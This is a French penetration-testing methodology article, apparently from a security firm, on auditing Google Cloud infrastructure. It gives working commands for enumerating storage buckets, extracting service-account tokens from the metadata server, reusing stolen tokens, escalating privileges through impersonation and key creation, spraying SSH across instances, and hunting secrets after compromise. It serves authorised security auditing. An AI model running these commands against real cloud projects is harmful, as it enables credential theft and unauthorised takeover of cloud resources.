Audit GCP : méthodologie, types de tests et use cases

L’audit de sécurité d’une infrastructure GCP (Google Cloud Platform) et des applications web qui y sont déployées est une étape clé pour identifier les vulnérabilités et renforcer la résilience face aux attaques.

Cet article présente la méthodologie adoptée lors d’un audit d’une infra GCP, les principaux types de tests réalisés ainsi que des cas concrets.

Guide complet sur l’audit GCP

Méthodologie et déroulement d’un audit GCP

Lors d’un audit de sécurité web, un environnement GCP peut se présenter de deux manières principales :

  • soit le serveur web ou l’application sont directement hébergés sur des instances GCP (Compute Engine, App Engine, Cloud Functions, etc.) ;
  • soit l’application s’appuie sur des services Google Cloud tels que le CDN, Cloud SQL, Cloud Storage, etc.

Dans les deux cas, la réussite de l’audit repose sur des connaissances spécifiques permettant de tester efficacement ces différents éléments.

Dans cette section, nous allons passer en revue plusieurs scénarios courants et proposer une méthodologie structurée, issue de la pratique.

Étant donné la richesse de l’écosystème GCP et la diversité des configurations possibles, la démarche présentée ne prétend pas couvrir tous les cas. Elle vise plutôt à fournir un cadre général, suffisamment flexible pour être adapté selon votre contexte.

Lors d’un test d’intrusion, il est fréquent de rencontrer un bucket Google Storage :

  • soit parce que des fichiers sont stockés et accessibles via l’application web,
  • soit parce que la plateforme permet l’upload de fichiers.

Dans ce cas, plusieurs approches peuvent être utilisées pour évaluer le niveau de sécurité du bucket.

Bucket public (ouvert à tous)

Si le bucket est totalement public, vous pouvez tester l’accès avec un navigateur ou avec curl :

  • Énumérer les fichiers :
https://storage.googleapis.com/<storage-name>/
  • Accéder directement à un fichier :
https://storage.googleapis.com/<storage-name>/<path>/<file>
  • Lister les autorisations IAM du bucket :
https://www.googleapis.com/storage/v1/b/<storage-name>/iam
  • Tester en bruteforce les permissions associées (même si la commande précédente échoue) :
https://www.googleapis.com/storage/v1/b/<storage-name>/iam/testPermissions?permissions=storage.buckets.delete&permissions=storage.buckets.get&permissions=storage.buckets.getIamPolicy&permissions=storage.buckets.setIamPolicy&permissions=storage.buckets.update&permissions=storage.objects.create&permissions=storage.objects.delete&permissions=storage.objects.get&permissions=storage.objects.list&permissions=storage.objects.update

Accès anonyme restreint (tout utilisateur Google)

Dans certains cas, l’accès n’est pas public, mais reste possible à partir de tout compte Google. Il faut alors tester si vous pouvez lister ou télécharger les contenus via un compte utilisateur basique.

Pour ce faire, il est nécessaire d’initialiser le CLI avec un compte Google :

gcloud auth list
gcloud config set account <your-email>

Si vous n’avez jamais connecté votre compte utilisateur sur gcloud, vous devrez le faire avec les commandes suivantes :

gcloud init
gcloud auth login --no-launch-browser

Nous verrons plus tard qu’il est également possible d’utiliser des Services Accounts (par ex. en cas de vol de token) dans le CLI. Cela peut permettre d’accéder au bucket, si le compte en question dispose des droits.

Lister les documents du bucket :

gcloud storage ls gs://<storage-name>/
gcloud storage ls gs://<storage-name>/<directory>/

Dans cet article, nous utilisons majoritairement le CLI gcloud. Il est également possible d’utiliser gsutil, un wrapper de gcloud. Dans certains cas, nous proposerons également les commandes gsutil en exemple.

gsutil ls gs://<storage-name>
gsutil ls gs://<storage-name>/<directory>/

Télécharger un fichier :

gcloud storage cp gs://<storage-name>/<file> .

Vérifier les permissions IAM :

gsutil iam get gs://<storage-name>

Accès au bucket via un Service Account compromis

Si vous disposez d’un token de Service Account ayant accès au bucket, vous pouvez initialiser le CLI avec ce compte, puis réutiliser les mêmes commandes.

Pour ce faire, il est nécessaire d’initialiser le CLI avec le token volé :

export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>

On peut ensuite interroger le bucket avec les mêmes commandes listées dans la section précédente :

gsutil ls gs://<storage-name>
# etc.

Notez qu’il est possible de vérifier plusieurs buckets. En effet si vous avez récupéré une liste des buckets présents sur le projet GCP, vous pouvez automatiser la vérification d’accès :

while IFS= read -r i
do
  echo $i :
  gcloud storage ls gs://$i
done < ./storages.txt

Sur GCP, les serveurs de metadata sont accessibles via l’adresse 169.254.169.254 ou l’URL http://metadata.google.internal/.
Ces serveurs sont consultés par les instances GCP (par exemple une VM Compute Engine) afin de récupérer :

  • des informations sur l’instance (hostname, zone géographique, etc.),
  • des informations sur le projet GCP associé,
  • et les détails concernant le Service Account (SA) utilisé par l’instance.

Lors d’un audit, l’exploitation de ce serveur permet de collecter des données utiles, parfois sensibles.

Accès au serveur de metadata

Deux scénarios principaux permettent d’interroger ce serveur :

  1. Exploitation d’une vulnérabilité SSRF : si l’application présente une SSRF, il est possible de la détourner pour atteindre http://metadata.google.internal/.
  2. Accès à une machine compromise : si vous disposez d’un accès (RCE, SSH, etc.) à une instance GCP, vous pouvez effectuer directement des requêtes HTTP vers le serveur de metadata.

Depuis 2019, GCP impose la présence de l’en-tête Metadata-Flavor: Google pour accepter une requête. Cette mesure rend les SSRF classiques inefficaces, sauf si une injection CRLF permet d’ajouter l’en-tête, ce qui reste peu probable.

Exploitation des metadata

Si vous disposez d’un accès à une instance Compute Engine (via RCE ou shell), vous pouvez extraire plusieurs informations utiles :

# Hostname de l’instance
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/hostname"

# Project ID
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/project/project-id"

# Zone
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/zone"

# Interfaces réseau
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/"
Comptes de services (Service Accounts)

Les Service Accounts sont particulièrement sensibles : ils permettent d’exploiter leurs privilèges pour accéder à des ressources supplémentaires ou progresser dans l’infrastructure.

  • Lister les SA disponibles sur l’instance :
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"
  • Extraire le token du SA par défaut :
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

Si plusieurs comptes de services sont configurés, il est important de tous les collecter. Il est également intéressant de vérifier le périmètre (scope) associé au compte de service :

curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes"

Notez qu’un scope critique est le suivant : https://www.googleapis.com/auth/cloud-platform. Il indique que le compte n’est soumis à aucune restriction et peut s’authentifier auprès de toutes les API GCP.

En revanche, si le scope est limité (par exemple cloud-platform.read-only), une élévation de privilèges sera nécessaire.

Startup scripts et Guest attributes

Des données sensibles peuvent aussi être présentes dans les startup scripts ou les guest attributes :

# Récupérer les startup scripts
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text"

# Récupérer les guest attributes
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/guest-attributes/"

Pour une liste plus exhaustive des endpoints metadata exploitables, vous pouvez consulter la section dédiée sur HackTricks.

Si vous obtenez un compte de service (via une fuite de token ou une RCE), vous disposez d’un levier puissant pour cartographier et exploiter l’infrastructure GCP.

La méthodologie de test suit généralement trois étapes :

  1. Lister les permissions associées au compte de service.
  2. Exploiter ces permissions :
    • soit elles permettent une élévation de privilèges (privesc),
    • soit elles permettent de collecter des données sensibles.
  3. Tester les accès à des ressources spécifiques (buckets, instances, autres SA).

Lister les permissions associées au SA

Il n’existe pas de commande native pour afficher directement toutes les permissions d’un compte de service. La solution consiste à les bruteforcer, en testant chaque permission une à une.

Plusieurs scripts publics facilitent cette tâche. Par exemple : test-permissions.py (Thunder-CTF)

Avant d’exécuter le script, définissez la variable d’environnement du projet :

gcloud config set project [PROJECT_ID]

Lancez ensuite le script avec le token du compte de service :

python3 test-permissions.py $TOKEN

Le script retourne une liste de permissions actives. Exemple :

['compute.addresses.list', 'compute.instances.list', 'compute.zones.list', 'iam.serviceAccounts.list', 'storage.buckets.list']

Le format peut varier selon le script, mais les informations obtenues restent similaires. Cette liste servira de base pour l’exploitation.

Exploiter les permissions

Pour utiliser le compte de service dans le CLI, définissez son token :

export CLOUDSDK_AUTH_ACCESS_TOKEN=$TOKEN

Toutes les commandes gcloud seront alors exécutées avec ce compte.

Privesc (élévation de privilèges)

Comme énoncé en introduction de cette section, deux cas de figure peuvent se présenter. Dans un cas, l’une des permissions peut être utilisée directement pour privesc. Vous pouvez consulter une cheat sheet dédiée pour identifier les permissions exploitables en privesc : HackTricks – GCP Privilege Escalation.

Exemple : si la permission suivante apparaît dans vos résultats :

iam.serviceAccounts.getAccessToken

Cette permission permet d’obtenir un jeton d’accès pour n’importe quel compte de service. L’exploitation documentée est :

gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" auth print-access-token

Cela vous donne un accès direct au compte ciblé. Si aucune permission ne permet de privesc, vous pouvez toujours utiliser ces permissions pour accéder à des données.

Collecter des données avec les permissions disponibles

Si aucune permission critique ne permet une élévation, utilisez celles obtenues pour explorer l’infrastructure.

Exemple avec deux permissions :

gcloud iam service-accounts list

Résultat : vous obtenez la liste de comptes de services existants sur le projet. Cette liste pourrait par exemple être utilisée dans le cas de privesc présenté précédemment.

gcloud storage buckets list

Résultat : vous obtenez une liste des buckets (Google Storage) existants sur le projet, que vous pouvez ensuite tester.

Note : Les permissions de listing sont intéressantes afin de cartographier l’infrastructure cloud. À chaque fois que vous pouvez lister un type de ressource (par exemple ici les comptes des services et les buckets), gardez cette liste dans un fichier.

Ces listes seront très utiles lorsque vous tenterez d’exploiter d’autres privilèges ou que vous chercherez à accéder à des ressources. C’est ce second point que nous allons voir maintenant.

Permissions scopées sur des ressources

Les permissions listées ci-dessus sont généralement définies au niveau du projet. Toutefois, un compte peut aussi avoir des droits spécifiques sur certaines ressources individuelles.

Même sans les permissions globales nécessaires (comme iam.roles.list ou iam.serviceAccounts.getIamPolicy), vous pouvez tester vos accès par bruteforce sur les ressources déjà identifiées.

Voyons quelques exemples :

  • Buckets Storage : tester l’accès à chaque bucket listé.
while IFS= read -r i
do
  echo $i :
  gcloud storage ls gs://$i
done < ./storages.txt
  • Instances Compute Engine : tenter un accès SSH.
gcloud compute ssh --project=<project-id> --zone=<zone> <instance-name>

Seules les instances avec une IP externe sont accessibles, mais vous pouvez tester toutes les instances :

for i in $(gcloud compute instances list --format="table[no-heading]"); do
echo Trying SSH on $i:
gcloud compute ssh --project=<project-id> --zone=<zone> $i
done
  • Service Accounts et gestion des clés :

Si vous avez pu lister les comptes de service (iam.serviceAccouts.list), vous pouvez vérifier si des clés existent :

for i in $(gcloud iam service-accounts list --format="table[no-heading](email)"); do
  echo Looking for keys for $i:
  gcloud iam service-accounts keys list --iam-account $i
done

Cela ne permet pas de collecter les clés en question, mais c’est un bon indice pour savoir sur quel compte de service vous pourriez potentiellement générer une clé.

Vous pouvez alors tenter de créer une clé :

gcloud iam service-accounts keys create --iam-account <SA-name>@<project-name>.iam.gserviceaccount.com key.json

Si cela fonctionne, vous pouvez récupérer l’accès aux SA en important la clé dans votre CLI :

gcloud auth activate-service-account --key-file=<file.json>

Exploiter une instance : RCE et post-exploitation

Après avoir étudié l’exploitation d’un compte de service, voyons maintenant le cas où vous obtenez un accès direct à une instance.
Cet accès peut être obtenu de différentes manières :

  • directement via SSH ou un shell (reverse shell inclus),
  • indirectement via une vulnérabilité RCE.

Dans tous les cas, les actions de post-exploitation suivent une logique similaire.

Recherche d’informations utiles ou sensibles

Comme dans toute phase de post-exploitation, commencez par rechercher des secrets, des tokens, des fichiers de configuration sensibles, ou toute information relative au réseau et à l’instance.

Quelques commandes classiques :

cat /etc/hosts
printenv
ls /etc/ssh

Pour une méthodologie plus complète, vous pouvez vous appuyer sur des cheat sheets dédiées : Linux Privilege Escalation Basics.

Pour être plus complet, recherchez également du contenu relatif à GCP :

sudo find / -name "gcloud"

Enfin, n’oubliez pas d’interroger le serveur de metadata (cf. section dédiée). Chaque instance compromise peut offrir de nouvelles informations exploitables via ce canal.

Analyse du réseau interne

Depuis l’instance compromise, cartographiez le réseau interne afin d’identifier d’autres machines et services accessibles.

  • Scan réseau avec Nmap
  • Cibles potentielles : services web internes, SSH, clusters Kubernetes, etc.

À ce stade, toutes les techniques classiques d’un pentest interne peuvent être appliquées pour pivoter, compromettre d’autres systèmes ou collecter davantage de données.

Note : testez systématiquement les connexions SSH, non seulement sur l’instance en cours, mais aussi sur celles découvertes via Nmap ou listées avec gcloud. Votre instance peut contenir la clé SSH permettant de se connecter à d’autres machines.

Exploiter les comptes de service présents sur l’instance

Un autre axe d’exploitation consiste à utiliser directement les comptes de service disponibles sur l’instance.

  • Lister les comptes disponibles :
gcloud auth list
  • Basculer sur un compte spécifique :
gcloud config set account <account-email>
  • Extraire un token associé :
gcloud auth print-access-token

Vous pouvez ensuite utiliser ces comptes de service pour reprendre la méthodologie présentée dans la section dédiée à leur exploitation.

Conclusion

L’exploitation d’une instance GCP combine :

  • la post-exploitation classique sur Linux (collecte de secrets, exploration système, scan réseau),
  • et l’exploitation spécifique au cloud (metadata, comptes de service, ressources GCP).

Chaque accès à une instance doit donc être envisagé comme un point de pivot potentiel vers l’ensemble de l’infrastructure cloud.

Auteur : Cédric CALLY–CABALLERO – Pentester @Vaadata